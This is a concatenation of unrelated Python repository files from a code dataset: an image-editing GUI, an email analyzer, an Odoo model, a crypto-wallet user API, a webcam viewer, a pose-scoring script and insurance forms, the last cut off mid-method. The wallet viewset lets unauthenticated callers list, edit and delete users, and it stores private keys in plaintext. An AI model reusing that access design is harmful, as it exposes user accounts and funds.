img_stack.append(res)\n #cv2.imwrite(\"flipped_image.jpg\", res)\n cv2.imwrite(\"rgb2_show.jpg\", res)\n self.img_show_lb.setPixmap(QPixmap(\"rgb2_show.jpg\"))\n self.img_show_lb.setScaledContents(True)\n\n #裁切\n def cut_filefun(self):\n self.image_cropper(None)\n def image_cropper(self,master):\n crop_start = None\n def on_crop_start(event):\n nonlocal crop_start\n crop_start = (event.x, event.y)\n def on_crop_drag(event):\n nonlocal crop_start\n if crop_start:\n x, y = event.x, event.y\n canvas.delete(\"crop_rect\")\n canvas.create_rectangle(crop_start[0], crop_start[1], x, y, outline=\"red\", tags=\"crop_rect\")\n def on_crop_end(event):\n nonlocal crop_start\n if crop_start:\n x, y = event.x, event.y\n bbox = (crop_start[0], crop_start[1], x, y)\n cropped = image.crop(bbox)\n cropped.save(\"cropped_image.jpg\")\n #cropped.show()\n global res\n res = np.array(cropped)\n self.img_show_lb.setPixmap(QPixmap(\"cropped_image.jpg\"))\n self.img_show_lb.setScaledContents(True)\n crop_start = None\n canvas.delete(\"crop_rect\")\n root = Tk()\n image = Image.open(\"rgb2_show.jpg\")\n image_tk = ImageTk.PhotoImage(image)\n canvas = Canvas(root, width=512, height=512)\n canvas.create_image(0, 0, anchor=NW, image=image_tk)\n canvas.pack()\n canvas.bind(\"\", on_crop_start)\n canvas.bind(\"\", on_crop_drag)\n canvas.bind(\"\", on_crop_end)\n root.eval('tk::PlaceWindow . center')\n root.mainloop()\n\n #灰度滤镜\n def Grayscalefilter_img(self):\n value = self.grayscale_sd.value()\n self.grayscale_value_lb.setText(str(value)) # 更新显示数值\n self.grayscale_value_lb.adjustSize() # 调整 QLabel 大小以适应文本长度\n global img_stack\n img = img_stack[-1].copy()\n # 检查图像类型,如果是彩色图像则转换为灰度图像\n if len(img.shape) == 3 and img.shape[2] == 3:\n img_gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n elif len(img.shape) == 2:\n img_gray = img\n else:\n print(\"图像类型错误\")\n return\n global res\n res = np.uint8(np.clip((1.2 * img_gray + 0), value, 255))\n cv2.imwrite('brrgb_show.jpg', res)\n self.img_show_lb.setPixmap(QPixmap('brrgb_show.jpg'))\n self.img_show_lb.setScaledContents(True)\n def Grayscalefilter(self):\n if hasattr(self, 'grayscale_sd'): # 检查是否已经存在滑动条对象\n self.grayscale_sd.deleteLater() # 删除旧的滑动条对象\n if hasattr(self, 'grayscale_value_lb'):\n self.grayscale_value_lb.deleteLater()\n if hasattr(self,'test6'):\n self.test6.deleteLater()\n self.test6 = QLabel(self)\n self.test6.setFont(QFont(\"\", 10, QFont.Bold))\n self.test6.move(1690,800)\n self.test6.setText(\"灰度:\")\n self.test6.show()\n\n self.grayscale_sd = QSlider(self)\n self.grayscale_sd.move(1785, 800)\n self.grayscale_sd.resize(200, 30)\n # 设置最大值和最小值\n self.grayscale_sd.setMinimum(0)\n self.grayscale_sd.setMaximum(255)\n self.grayscale_sd.setSingleStep(1) # 调整步长\n # 绑定槽函数\n self.grayscale_sd.valueChanged.connect(self.Grayscalefilter_img)\n self.grayscale_sd.setValue(0) # 设置初始值\n self.grayscale_sd.setTickPosition(QSlider.TicksBelow) # 设置刻度位置\n self.grayscale_sd.setTickInterval(10) # 设置刻度间隔\n # 设置滑动条的方向为水平\n self.grayscale_sd.setOrientation(Qt.Horizontal)\n self.grayscale_sd.show()\n # 创建用于显示数值的 QLabel\n self.grayscale_value_lb = QLabel(self)\n self.grayscale_value_lb.move(1980, 800) # 设置位置\n self.grayscale_value_lb.show()\n\n #素描滤镜\n def Sketchfilter_img(self):\n value = self.sketch_sd.value()\n self.sketch_value_lb.setText(str(value)) # 更新显示数值\n self.sketch_value_lb.adjustSize() # 调整 QLabel 大小以适应文本长度\n global img_stack\n img = img_stack[-1].copy()\n num_down = 2 # 缩减像素采样的数目\n num_bilateral = 9 # 定义双边滤波的数目\n img_color = img\n for _ in range(num_down):\n img_color = cv2.pyrDown(img_color)\n # 重复使用小的双边滤波代替一个大的滤波\n for _ in range(num_bilateral):\n img_color = cv2.bilateralFilter(img_color, d=4, sigmaColor=8, sigmaSpace=4)\n # 升采样图片到原始大小\n for _ in range(num_down):\n img_color = cv2.pyrUp(img_color)\n img_gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY) # 转换为灰度\n img_blur = cv2.medianBlur(img_gray, value * 2 + 1) # 增加模糊效果。值越大越模糊(取奇数)\n # 检测到边缘并且增强其效果\n global res\n res = cv2.adaptiveThreshold(img_blur, 256,\n cv2.ADAPTIVE_THRESH_MEAN_C,\n cv2.THRESH_BINARY,\n blockSize=9,\n C=2)\n res = cv2.cvtColor(res, cv2.COLOR_GRAY2RGB) # 彩色图像转为灰度图像\n cv2.imwrite('brrgb_show.jpg', res)\n self.img_show_lb.setPixmap(QPixmap('brrgb_show.jpg'))\n self.img_show_lb.setScaledContents(True)\n def Sketchfilter(self):\n if hasattr(self, 'sketch_sd'): # 检查是否已经存在滑动条对象\n self.sketch_sd.deleteLater() # 删除旧的滑动条对象\n if hasattr(self, 'sketch_value_lb'):\n self.sketch_value_lb.deleteLater()\n if hasattr(self,'test7'):\n self.test7.deleteLater()\n self.test7 = QLabel(self)\n self.test7.setFont(QFont(\"\", 10, QFont.Bold))\n self.test7.move(1690,900)\n self.test7.setText(\"素描:\")\n self.test7.show()\n\n self.sketch_sd = QSlider(self)\n self.sketch_sd.move(1785, 900)\n self.sketch_sd.resize(200, 30)\n # 设置最大值和最小值\n self.sketch_sd.setMinimum(1)\n self.sketch_sd.setMaximum(10)\n self.sketch_sd.setSingleStep(1) # 调整步长\n # 绑定槽函数\n self.sketch_sd.valueChanged.connect(self.Sketchfilter_img)\n self.sketch_sd.setValue(1) # 设置初始值\n self.sketch_sd.setTickPosition(QSlider.TicksBelow) # 设置刻度位置\n self.sketch_sd.setTickInterval(2) # 设置刻度间隔\n # 设置滑动条的方向为水平\n self.sketch_sd.setOrientation(Qt.Horizontal)\n self.sketch_sd.show()\n # 创建用于显示数值的 QLabel\n self.sketch_value_lb = QLabel(self)\n self.sketch_value_lb.move(1980, 900) # 设置位置\n self.sketch_value_lb.show()\n\n #卡通滤镜\n def Cartoonfilter_img(self):\n value = self.cartoon_sd.value()\n self.cartoon_value_lb.setText(str(value)) # 更新显示数值\n self.cartoon_value_lb.adjustSize() # 调整 QLabel 大小以适应文本长度\n global img_stack\n img = img_stack[-1].copy()\n # 转换���灰度并且使其产生中等的模糊\n img_gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n img_blur = cv2.medianBlur(img_gray, 5) # 值越大越模糊(取奇数)\n # 检测到边缘并且增强其效果\n img_edge = cv2.adaptiveThreshold(img_blur, value,\n cv2.ADAPTIVE_THRESH_MEAN_C,\n cv2.THRESH_BINARY,\n blockSize=9,\n C=8)\n img_edge = cv2.cvtColor(img_edge, cv2.COLOR_GRAY2RGB) # 彩色图像转为灰度图像\n img_cartoon = cv2.bitwise_and(img, img_edge) # 灰度图像转为彩色图像\n # 调整亮度和对比度\n global res\n res = np.uint8(np.clip((2.0 * img_cartoon + 16), 0, 255))\n cv2.imwrite('brrgb_show.jpg', res)\n self.img_show_lb.setPixmap(QPixmap('brrgb_show.jpg'))\n self.img_show_lb.setScaledContents(True)\n def Cartoonfilter(self):\n if hasattr(self, 'cartoon_sd'): # 检查是否已经存在滑动条对象\n self.cartoon_sd.deleteLater() # 删除旧的滑动条对象\n if hasattr(self, 'cartoon_value_lb'):\n self.cartoon_value_lb.deleteLater()\n if hasattr(self,'test8'):\n self.test8.deleteLater()\n self.test8 = QLabel(self)\n self.test8.setFont(QFont(\"\", 10, QFont.Bold))\n self.test8.move(1690,1000)\n self.test8.setText(\"卡通:\")\n self.test8.show()\n self.cartoon_sd = QSlider(self)\n self.cartoon_sd.move(1785, 1000)\n self.cartoon_sd.resize(200, 30)\n # 设置最大值和最小值\n self.cartoon_sd.setMinimum(1)\n self.cartoon_sd.setMaximum(255)\n self.cartoon_sd.setSingleStep(2) # 调整步长\n # 绑定槽函数\n self.cartoon_sd.valueChanged.connect(self.Cartoonfilter_img)\n self.cartoon_sd.setValue(0) # 设置初始值\n self.cartoon_sd.setTickPosition(QSlider.TicksBelow) # 设置刻度位置\n self.cartoon_sd.setTickInterval(10) # 设置刻度间隔\n # 设置滑动条的方向为水平\n self.cartoon_sd.setOrientation(Qt.Horizontal)\n self.cartoon_sd.show()\n # 创建用于显示数值的 QLabel\n self.cartoon_value_lb = QLabel(self)\n self.cartoon_value_lb.move(1980, 1000)\n self.cartoon_value_lb.show()\n\n def beautify_image(self):\n global img_stack\n img = img_stack[-1].copy()\n # 调整对比度和亮度\n img = cv2.convertScaleAbs(img, alpha=60/100.0, beta=0.1)\n # 增加高斯模糊\n img = cv2.GaussianBlur(img, (3, 3), 0.5)\n # 增加颜色饱和度\n hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n hsv[..., 1] = hsv[..., 1] * (1 + 5/100.0)\n img = cv2.cvtColor(hsv, cv2.COLOR_HSV2BGR)\n # 增加锐化\n kernel = np.array([[0, -1, 0], [-1, 5, -1], [0, -1, 0]], dtype=np.float32)*1.8\n img = cv2.filter2D(img, -1, kernel)\n # 将像素值限制在0-255之间\n img = np.clip(img, 0, 255).astype(np.uint8)\n global res\n res = img\n cv2.imwrite('rgb2_show.jpg', res)\n self.img_show_lb.setPixmap(QPixmap('rgb2_show.jpg'))\n self.img_show_lb.setScaledContents(True)\n\n def change_background_blue_red(self):\n global img_stack\n img = img_stack[-1].copy()\n # 图像缩放并显示\n rows, cols, channels = img.shape\n # 图片转换为灰度图\n hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n #蓝底变红底\n lower_red = np.array([90, 70, 70])\n upper_red = np.array([110, 255, 255])\n mask = cv2.inRange(hsv, lower_red, upper_red)\n # 腐蚀膨胀\n erode = cv2.erode(mask, None, iterations=1)\n dilate = cv2.dilate(erode, None, iterations=1)\n # 遍历每个像素点,进行颜色的替换\n for i in range(rows):\n for j in range(cols):\n if dilate[i, j] == 255:\n img[i, j] = (0, 0, 255)\n global res\n res = img\n cv2.imwrite('rgb2_show.jpg', res)\n self.img_show_lb.setPixmap(QPixmap('rgb2_show.jpg'))\n self.img_show_lb.setScaledContents(True)\n\n def change_background_blue_white(self):\n global img_stack\n img = img_stack[-1].copy()\n # 图像缩放并显示\n rows, cols, channels = img.shape\n # 图片转换为灰度图\n hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n #蓝底变红底\n lower_red = np.array([90, 70, 70])\n upper_red = np.array([110, 255, 255])\n mask = cv2.inRange(hsv, lower_red, upper_red)\n # 腐蚀膨胀\n erode = cv2.erode(mask, None, iterations=1)\n dilate = cv2.dilate(erode, None, iterations=1)\n # 遍历每个像素点,进行颜色的替换\n for i in range(rows):\n for j in range(cols):\n if dilate[i, j] == 255:\n img[i, j] = (255, 255,255)\n global res\n res = img\n cv2.imwrite('rgb2_show.jpg', res)\n self.img_show_lb.setPixmap(QPixmap('rgb2_show.jpg'))\n self.img_show_lb.setScaledContents(True)\n\n # def change_background_white_blue(self):\n # global img_stack\n # img = img_stack[-1].copy()\n # # 图像缩放并显示\n # rows, cols, channels = img.shape\n # # 图片转换为灰度图\n # hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n # # 白底变蓝底\n # lower_blue = np.array([100, 50, 50]) # 修改这里的颜色阈值为适合白底的蓝色阈值\n # upper_blue = np.array([130, 255, 255]) # 修改这里的颜色阈值为适合白底的蓝色阈值\n # mask = cv2.inRange(hsv, lower_blue, upper_blue)\n # # 腐蚀膨胀\n # erode = cv2.erode(mask, None, iterations=1)\n # dilate = cv2.dilate(erode, None, iterations=1)\n # # 遍历每个像素点,进行颜色的替换\n # for i in range(rows):\n # for j in range(cols):\n # if dilate[i, j] == 255:\n # img[i, j] = (255, 0, 0) # 将白色像素替换为蓝色像素\n # global res\n # res = img\n # cv2.imwrite('rgb2_show.jpg', res)\n # self.img_show_lb.setPixmap(QPixmap('rgb2_show.jpg'))\n # self.img_show_lb.setScaledContents(True)\n\n\nif __name__ == '__main__':\n\n app = QApplication(sys.argv)\n\n window = FramePane()\n\n window.show()\n\n sys.exit(app.exec_())","repo_name":"Nantir/Image_processing_system","sub_path":"Image_processing_system/main_window.py","file_name":"main_window.py","file_ext":"py","file_size_in_byte":41202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"22945134388","text":"from structure import Analyzer, Report\nimport logging\n\nfrom eml import Eml\n\n\nclass EmailAnalyzer(Analyzer):\n compatible_mime_types = ['message/rfc822','application/octet-stream']\n description = \"Email analyser\"\n\n def parse_mail(self):\n self.eml = Eml(filename=self.struct.filename, data=self.struct.rawdata)\n self.info = f'{\",\".join(self.eml.subject)}'\n summary = \"\"\n for f in self.eml.froms:\n summary += f\"From : {f}\\n\"\n for t in self.eml.tos:\n summary += f\"To : {t}\\n\"\n summary += f\"Date : {self.eml.date}\\n\"\n for s in self.eml.subject:\n summary += f\"Subject : {s}\\n\"\n self.reports['summary'] = Report(f'{summary}')\n\n def extract_parts(self):\n for idx, part in enumerate([x for x in self.eml.flat_struct if x['data']]):\n self.childitems.append(self.generate_struct(filename=part['filename'], data=part['data'], mime_type=part['content_type'], index=idx))\n\n def analysis(self):\n self.modules['emailparser'] = self.parse_mail\n self.modules['extract_parts'] = self.extract_parts\n self.run_modules()\n","repo_name":"tkessels/mailscan","sub_path":"Analyzers/EmailAnalyzer.py","file_name":"EmailAnalyzer.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"30029704133","text":"from odoo import models, fields, api, _\nfrom odoo.exceptions import UserError, Warning\nfrom datetime import date\n\ndef age(birthdate):\n today = date.today()\n age = today.year - birthdate.year - ((today.month, today.day) < (birthdate.month, birthdate.day))\n return age\n\nclass Teacher(models.Model):\n _name = 'school.teacher'\n _description = \"Teachers Info\"\n\n name = fields.Char(string=\"Teacher name\", required=True)\n age = fields.Integer(string=\"Age\")\n gender = fields.Selection([('male','Male'),('female','Female'),('others','Others')],string='Gender')\n joining_date = fields.Date(String='Joining Date',required=True)\n teacher_courses = fields.Selection([('oop','OOP'),('swe','SWE'),('ai','AI')],string='Select course',required=True)\n teacher_blood_group = fields.Selection(\n \t[('A+', 'A+ve'), ('B+', 'B+ve'), ('O+', 'O+ve'), ('AB+', 'AB+ve'),\n \t('A-', 'A-ve'), ('B-', 'B-ve'), ('O-', 'O-ve'), ('AB-', 'AB-ve')],\n \tstring='Blood Group')\n is_regular = fields.Boolean(string=\"Is Regular on class\", default=False)\n teacher_description = fields.Text(string=\"Description of teacher\")\n teacher_salary = fields.Float(string=\"Salary\",default=20000,required=True)\n salary = fields.Float(string=\"Gross Salary\",required=True)\n teacher_html = fields.Html(string=\"Student html\")\n teacher_image = fields.Binary(string=\"Upload Student Image\")\n salary_bonus = fields.Float(string=\"Bonus\",required=True)\n teacher_exp = fields.Selection([('0','0 yrs'),('1','1 yrs'),('2','2 yrs'),('3','3 yrs')],string=\"Please select your experience\")\n service_year = fields.Integer(string=\"Teacher Service year\")\n\n @api.onchange('teacher_exp')\n def salary_onchange(self):\n salary = 0\n if self and self.teacher_exp:\n if self.teacher_exp == '0':\n salary = salary + 100\n self.salary_bonus = salary\n elif self.teacher_exp == '1':\n salary = salary + 200\n self.salary_bonus = salary\n elif self.teacher_exp == '2':\n salary = salary + 300\n self.salary_bonus = salary\n else:\n salary = salary + 500\n self.salary_bonus = salary\n\n @api.onchange('salary_bonus')\n def salary_change(self):\n teacher_salary = 0\n if self and self.salary_bonus:\n teacher_salary = self.salary_bonus + self.teacher_salary \n self.salary = teacher_salary\n\n\n @api.onchange('age')\n def onchage_age(self):\n if self.age < 0:\n raise UserError(_(\"Zero can't be taken\"))\n elif self.age > 0 and self.age <=24:\n raise UserError(_(\"This isn't an age of teaching/ No experiecne\"))\n\n\n @api.onchange('joining_date')\n def joini(self):\n if self and self.joining_date:\n active_date = age(self.joining_date)\n self.service_year = active_date\n\n\n @api.multi\n def check_status(self):\n raise UserError(_('I am fron button action'))","repo_name":"whoafridi/Odoo-practice","sub_path":"school_management/models/teacher.py","file_name":"teacher.py","file_ext":"py","file_size_in_byte":3021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"69818697851","text":"from rest_framework import viewsets, status\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import action\nfrom rest_framework.permissions import AllowAny\nfrom bigchaindb_driver.crypto import generate_keypair\n\nfrom core.base import msg\nfrom crypto_wallet_server.database import (\n db,\n to_mongo,\n to_python,\n encode_value,\n get_bank_account,\n get_user,\n result_without_hidden,\n results_without_hidden,\n)\n\n\nclass UserViewSet(viewsets.ViewSet):\n permission_classes = (AllowAny, )\n\n def list(self, request):\n try:\n users = [to_python(user) for user in db.users.find()]\n users = results_without_hidden(results=users, hidden=('password',))\n return Response(data=users, status=status.HTTP_200_OK)\n except:\n return Response(status=status.HTTP_400_BAD_REQUEST)\n\n\n def retrieve(self, request, pk=None):\n user = get_user({'_id': pk})\n if user is not None:\n user = result_without_hidden(result=user, hidden=('password',))\n return Response(data=to_python(user), status=status.HTTP_200_OK)\n return Response(status=status.HTTP_404_NOT_FOUND)\n\n\n def update(self, request, pk=None):\n user = get_user({'_id': pk})\n if user is None:\n return Response(\n data=msg('User not found'),\n status=status.HTTP_404_NOT_FOUND)\n else:\n db.users.update_one(\n {\"_id\": encode_value(pk)},\n {\"$set\": request.data}\n )\n return Response(status=status.HTTP_200_OK)\n\n\n def destroy(self, request, pk=None):\n user = get_user({'_id': pk})\n user_id = encode_value(pk)\n\n if user is None:\n return Response(status=status.HTTP_404_NOT_FOUND)\n\n if user['permission'] != 'admin':\n user_is_deleted = db.users.delete_one({'_id': user_id})\n bank_account_is_deleted = db.bank_accounts.delete_one({'user_id': user_id})\n\n if user_is_deleted is None:\n return Response(\n data=msg('User wasn\\'t deleted'),\n status=status.HTTP_400_BAD_REQUEST)\n\n if bank_account_is_deleted is None:\n return Response(\n data=msg('Bank account wasn\\'t deleted'),\n status=status.HTTP_400_BAD_REQUEST)\n else:\n return Response(\n data=msg('User can\\'t delete administrator'),\n status=status.HTTP_405_METHOD_NOT_ALLOWED)\n\n return Response(\n data=msg('User was deleted successfully'),\n status=status.HTTP_200_OK)\n\n\n @action(detail=False, methods=['post'])\n def register(self, request):\n inserted_user = db.users.insert_one(request.data)\n if inserted_user.acknowledged:\n keypair = generate_keypair()\n init_bank_account = {\n \"user_id\" : inserted_user.inserted_id,\n \"btc\" : 0,\n \"eth\" : 0,\n \"ltc\" : 0,\n \"usd\" : 0,\n \"rub\" : 0,\n \"gbr\" : 0,\n \"keypair\" :\n {\n \"public_key\" : keypair.public_key,\n \"private_key\" : keypair.private_key\n }\n }\n db.bank_accounts.insert_one(init_bank_account)\n return Response(status=status.HTTP_200_OK)\n else:\n return Response(status=status.HTTP_400_BAD_REQUEST)\n\n @action(detail=False, methods=['get'])\n def current(self, request):\n user = request.user\n user = result_without_hidden(result=user, hidden=('password',))\n return Response(data=to_python(user), status=status.HTTP_200_OK)\n","repo_name":"moevm/nosql2h19-blockchain","sub_path":"crypto_wallet/users/viewsets.py","file_name":"viewsets.py","file_ext":"py","file_size_in_byte":3827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43186055533","text":"import cv2\r\n#TLS socket configuration\r\nvc = cv2.VideoCapture(0)\r\ncv2.nameWindow(\"WebCam\", cv2.WINDOW_NORMAL)\r\n\r\n\r\n #Send a frame over an encrypted TCP connection one at a time\r\nwhile vc.isOpened():\r\n status, frame = vc.read()\r\n cv2.imshow(\"WebCam\", frame)\r\n print(frame)\r\n\r\n \r\n #Wait 20s before reading the frame again\r\n key = cv2.waitKey(20)\r\n\r\n #close if esc key is pressed\r\n if key == 27:\r\n break\r\n\r\nvc.relase()\r\ncv2.destroyWindow(\"WebCam\")\r\n ","repo_name":"Artcxier/Przechwytywanie","sub_path":"zdjecia.py","file_name":"zdjecia.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43750759224","text":"import mediapipe as mp\nimport cv2\nimport mediapipe as mp\nfrom utils import predict_action,precess_action_list\nimport os\n\ndef pose_detect(video_path,command):\n print(video_path,\"processing\")\n mp_drawing = mp.solutions.drawing_utils\n mp_drawing_styles = mp.solutions.drawing_styles\n mp_pose = mp.solutions.pose\n cap = cv2.VideoCapture(video_path)\n fps = int(cap.get(cv2.CAP_PROP_FPS))\n width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))\n height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\n fourcc = cv2.VideoWriter_fourcc(*'XVID') \n results_frame= []\n results_frame_max_legth = int(fps/2)\n current_predict_action_score = -1\n all_predict_action_score_list = []\n previous_predict_action_score = -1\n angle_list =[-1,-1,-1,-1,-1,-1,-1,-1]\n angle_history_dict = {###使用 angle_history_dict 存储四肢主要关节的5次记录;四个角度;5次记录\n \"l_arm_angle\":[],##列表长为:6,第0位为:1-5的元素 顺序排序的逆序数\n \"r_arm_angle\":[],\n \"l_leg_angle\":[],\n \"r_leg_angle\":[]\n }\n out_name = video_path.split(\"/\")[-1][:-4]\n out = cv2.VideoWriter('/home/hongzhenlong/my_main/key_point/mediapipe/output_%s.avi'%(out_name), fourcc, fps, (width, height))\n with mp_pose.Pose(\n static_image_mode = False,###默认情况下它被初始化为假,即处理视频流\n model_complexity = 1,##姿势地标模型的复杂性\n smooth_landmarks = True,###表示 是否平滑关键点,筛选跨不同输入的地标 图像以减少抖动\n enable_segmentation = False,###表示 是否平滑关键点,除了姿势特征点外,解决方案还会生成 分段掩码\n smooth_segmentation = True,###如果设置为 true,该解决方案会过滤不同输入图像的分割掩码以减少抖动,如果 enable_segmentation 为假或 static_image_mode 为真则忽略。默认为真。\n min_detection_confidence=0.5,##置信度的阈值\n min_tracking_confidence=0.5,###跟踪级别的置信度\n ) as pose:\n while cap.isOpened():\n success, image = cap.read()\n if not success:\n print(\"Ignoring empty camera frame.\")\n # If loading a video, use 'break' instead of 'continue'.\n break\n continue\n\n # To improve performance, optionally mark the image as not writeable to\n # pass by reference.\n image.flags.writeable = False\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n results = pose.process(image)\n if results.pose_landmarks:\n # print(len(results.pose_landmarks.landmark))\n if len(results_frame)==results_frame_max_legth:###控制存储的帧长度\n \"\"\"_summary_\n \"\"\"\n current_predict_action_score = predict_action(command =command ,point_list = results_frame)##\n all_predict_action_score_list.append(current_predict_action_score)\n results_frame.pop(0)\n temp = []\n for i in range(33):##存储帧数据\n x = results.pose_landmarks.landmark[i].x\n y = results.pose_landmarks.landmark[i].y\n temp.append([x,y])\n results_frame.append(temp)\n # Draw the pose annotation on the image.\n image.flags.writeable = True\n image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n mp_drawing.draw_landmarks(\n image,\n results.pose_landmarks,\n mp_pose.POSE_CONNECTIONS,\n landmark_drawing_spec=mp_drawing_styles.get_default_pose_landmarks_style())\n # print(current_predict_action_score)\n \n cv2.putText(image, \"previous frame:\"+str(previous_predict_action_score), (5, 50 ), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 2)\n cv2.putText(image, \"current frame:\"+str(current_predict_action_score), (5, 100), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 0, 0), 2)\n previous_predict_action_score = current_predict_action_score \n # angle_list_str = [\"l_arm_angle\",\"l_elbow_angle\",\"r_arm_angle\",\"r_elbow_angle\",\"l_leg_angle\",\"l_knee_angle\",\"r_leg_angle\",\"r_knee_angle\"]\n # print(angle_list)\n # for i in range(8):\n # cv2.putText(image, angle_list_str[i]+\":\"+str(angle_list[i]), (5,150+ i*50), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 3)\n \n out.write(image)\n # Flip the image horizontally for a selfie-view display.\n # cv2.imshow('MediaPipe Pose', cv2.flip(image, 1))\n # if cv2.waitKey(5) & 0xFF == 27:\n # break\n cap.release()\n out.release()\n print(video_path,\"processed\")\n print(\"saved in /home/hongzhenlong/my_main/key_point/mediapipe/output_%s.avi\"%(out_name))\n print(\"final score:%s\"%precess_action_list(all_predict_action_score_list))\nif __name__==\"__main__\":\n mp_drawing = mp.solutions.drawing_utils\n mp_drawing_styles = mp.solutions.drawing_styles\n mp_pose = mp.solutions.pose\n data_path = \"/home/hongzhenlong/my_main/key_point/mediapipe/data\"\n # video_path_list = [os.path.join(data_path,data_name) for data_name in os.listdir(data_path)]\n video_path_list = [\n \"/home/hongzhenlong/my_main/key_point/mediapipe/data/la.mp4\",\n \"/home/hongzhenlong/my_main/key_point/mediapipe/data/ra.mp4\",\n \"/home/hongzhenlong/my_main/key_point/mediapipe/data/ll.mp4\",\n \"/home/hongzhenlong/my_main/key_point/mediapipe/data/rl.mp4\"\n ]\n command_list = [\"l_arm_up_test\",\"r_arm_up_test\",\"l_leg_up_test\",\"r_leg_up_test\",]\n # pool = Pool(processes=4)\n for video_path,command in zip(video_path_list[2:],command_list[2:]):\n pose_detect(video_path,command)","repo_name":"glory-pluck/hzl_main","sub_path":"key_point/mediapipe/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28429823942","text":"# -*- coding: utf-8 -*-\nfrom django import forms\nfrom django.contrib.auth.models import User\nfrom newcalc.models import Mark, City, ModelYear, Power, Model, BurglarAlarm\nfrom profile.models import Persona\nfrom polices.models import BODY_TYPE_CHOICES, SEX_CHOICES, InsurancePolicyData\nfrom email_login.forms import PhoneNumberField\nfrom captcha.fields import CaptchaField\nfrom django.forms import ModelForm\n\nAGE_CHOISES = [(i, i) for i in xrange(18, 81)]\nAGE_CHOISES.insert(0, (\"\", \"--------\"))\nEXPERIENCE_CHOISES = [(i, i) for i in xrange(0, 51)]\nEXPERIENCE_CHOISES.insert(0, (\"\", \"--------\"))\nFRANCHISE_CHOICE = (\n (0, 0),\n (3000, 3000),\n (6000, 6000),\n (9000, 9000),\n (15000, 15000),\n (30000, 30000)\n )\nattrs_dict = {'class': 'required'}\nclass Step1Form(forms.Form):\n mark = forms.ModelChoiceField(label=\"Марка автомобиля\",\n queryset=Mark.objects.all(),\n empty_label=\"Выберите марку автомобиля\")\n model = forms.ModelChoiceField(label=\"Модель автомобиля\",\n queryset=Model.objects.none(),\n empty_label=\"Выберите модель автомобиля\")\n model_year = forms.ModelChoiceField(label=\"Год выпуска\",\n queryset=ModelYear.objects.none(),\n empty_label=\"--------\")\n city = forms.ModelChoiceField(label=\"Территория использования ТС\",\n queryset=City.objects.all(),\n empty_label=\"--------\")\n dago = forms.IntegerField(label=\"Гражданская ответственность\", max_value=25000000)\n violations = forms.ChoiceField(label=\"Грубые нарушения\",\n choices=((\"1\", \"не было\"), (\"1.5\", \"были\")), required=False)\n power = forms.ModelChoiceField(label=\"Мощность\",\n queryset=Power.objects.none(),\n empty_label=\"--------\")\n age = forms.ChoiceField(label=\"Возраст\", choices=AGE_CHOISES)\n experience_driving = forms.ChoiceField(label=\"Стаж вождения\",\n choices=EXPERIENCE_CHOISES)\n unlimited_drivers = forms.BooleanField(\n label=\"Неограниченное число водителей\",\n required=False)\n age1 = forms.ChoiceField(label=\"Возраст второго водителя\",\n choices=AGE_CHOISES,\n required=False)\n experience_driving1 = forms.ChoiceField(\n label=\"Стаж вождения второго водителя\",\n choices=EXPERIENCE_CHOISES,\n required=False)\n age2 = forms.ChoiceField(label=\"Возраст третьего водителя\",\n choices=AGE_CHOISES, required=False)\n experience_driving2 = forms.ChoiceField(label=\"Стаж вождения третьего \"\\\n \"водителя\",\n choices=EXPERIENCE_CHOISES,\n required=False)\n age3 = forms.ChoiceField(label=\"Возраст четвертого водителя\",\n choices=AGE_CHOISES, required=False)\n experience_driving3 = forms.ChoiceField(label=\"Стаж вождения четвертого \"\\\n \"водителя\",\n choices=EXPERIENCE_CHOISES,\n required=False)\n\n def __init__(self, *args, **kwargs):\n form_extra_data = kwargs.pop(\"form_extra_data\")\n super(Step1Form, self).__init__(*args, **kwargs)\n if form_extra_data.has_key(\"mark\"):\n self.fields['model'].queryset = form_extra_data[\n \"mark\"].model_set.filter(model_active=1)\n if form_extra_data.has_key(\"model\"):\n # COMMENT: временное упрощение\n # self.fields['model_year'].queryset =\\\n # form_extra_data[\"model\"].modelyear_set.all()\n self.fields['model_year'].queryset = ModelYear.objects.all()\n if form_extra_data.has_key(\"model_year\"):\n # COMMENT: временное упрощение\n # mym = Mym.objects.get(mym_y=form_extra_data[\"model_year\"],\n # mym_m=form_extra_data[\"model\"])\n # self.fields['power'].queryset = mym.power_set.all()\n self.fields['power'].queryset = Power.objects.all()\n\n def clean_mark(self):\n mark = self.cleaned_data['mark']\n self.fields['model'].queryset = mark.model_set.all() # My hack :)\n return mark\n\n def clean_model(self):\n model = self.cleaned_data['model']\n self.fields['model_year'].queryset = ModelYear.objects.all()\n return model\n\n def clean_model_year(self):\n model_year = self.cleaned_data['model_year']\n # model = self.cleaned_data['model']\n # mym = Mym.objects.get(mym_y=model_year, mym_m=model)\n # self.fields['power'].queryset = mym.power_set.all()\n self.fields['power'].queryset = Power.objects.all()\n return model_year\n\n def clean(self):\n cd = self.cleaned_data\n unlimited_drivers = cd[\"unlimited_drivers\"]\n age1 = cd.get(\"age1\")\n age2 = 